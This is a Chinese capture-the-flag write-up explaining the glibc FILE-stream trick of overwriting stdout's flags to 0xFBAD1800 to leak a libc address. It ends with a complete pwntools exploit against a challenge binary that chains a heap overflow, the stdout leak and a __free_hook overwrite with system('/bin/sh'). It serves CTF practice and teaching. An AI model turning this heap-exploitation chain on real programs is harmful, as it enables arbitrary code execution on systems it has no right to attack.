stdout泄露libc

stdout泄露libc

国赛落下帷幕,发现自己还是太菜了,仅仅拿了个赛区二等奖。继续沉淀吧,复现一下赛题

原理与规律

FILE 在 linux 系统的标准IO库使用来描述文件结构,称之为文件流。

“流”是一种抽象概念,只是人们为了便于描述数据的流向而创造的名称。

比如说当我们要输出磁盘中记录的数据,那么在计算机中首先会将磁盘中的数据加载进内存,那么磁盘–>内存这种流向就被抽象叫做”流”。

进程中的FILE结构会通过 _chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示,通过这个值可以遍历所有的FILE结构,大致的链表结构如下图:

1

1

每个程序启动时有三个文件流是自动打开的:stdinstdoutstderr

因为会自动打开,所以在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于的是libc.so的数据段

具体原理可以看这篇博客

简言之

想办法写入 IO_2_1_stdout(一般是利用 unsortedbin ),让_flags = 0xFBAD1800,然后让后面的三个read参数为0,让write_base为’\x00’

image-20250319202959193

例题

附件

题目就是一个格式化字符串造成的堆溢出,可以用这个堆溢出实现对下一个堆的控制

image-20250319204659027

但是要注意的一点是注意\x00d的截断效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnpy import *
import sys

filename = './pwn10'
url = ''
gdbscript = '''

'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url = url , filename = filename , gdbscript = gdbscript)
elf = ELF(filename)
libc = ELF("./libc-2.31.so")

'''
1. Add a card
2. Delete a card
3. Edit a card
4. Exit
>>
'''

def add(idx , size) :
p.sendlineafter(">> " , b'1')
p.sendlineafter('Index: ' , str(idx))
p.sendlineafter("Size: " , str(size))

def free(idx) :
p.sendlineafter(">> " , b'2')
p.sendlineafter('Index: ' , str(idx))

def edit(idx , size , content) :
p.sendlineafter(">> " , b'3')
p.sendlineafter('Index: ' , str(idx))
p.sendafter("New size of content: " , size)
p.sendafter("What do you want to say: " , content)

add(0 , 0x10)

for i in range(1 , 6) :
add(i , 0x80)
add(6 , 0x150)
add(7 , 0x10)

edit(0 , b'a' * 0x18 + p64(0x431) , b'aa')
free(1) #1
free(4) #4
free(3) #3

add(1 , 0x110) #1
edit(1 , b'aaa' , b'a' * 0x80 + p64(0x91) + p64(0x200))
edit(2 , b'aaa' , b'a' * 0x80 + p64(0x361) + b'\x90\x26')

add(3 , 0x80) #3
add(4 , 0x80) #4

edit(4 , b'aaa' , b'a' * 8 + p64(0xfbad1800) + p64(0) * 3 + b'\x00') #绕过防护,使用stdout泄露libc
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8 , b'\x00')) - 0x1ec980
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

free(5)
free(2)

edit(1 , b'aaa' , b'a' * 0x80 + p64(0x91) + p64(free_hook - 0x10))
add(2 , 0x80)
add(5 , 0x80)
edit(5 , b'aaa' , b'a' * 8 + p64(system_addr))
edit(1 , b'aaa' , b'a' * 0x80 + p64(0x91) + b'/bin/sh\x00')
# free(2)

lss("free_hook")
lss("system_addr")
lss("libc_base")
p.interactive()